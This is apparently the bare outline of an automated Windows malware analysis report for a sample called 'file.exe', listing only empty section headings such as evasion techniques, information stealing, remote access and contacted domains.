Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Private

Contacted Domains

Contacted URLs

Windows Analysis Report
file.exe

Malware Threat Intel
Provided by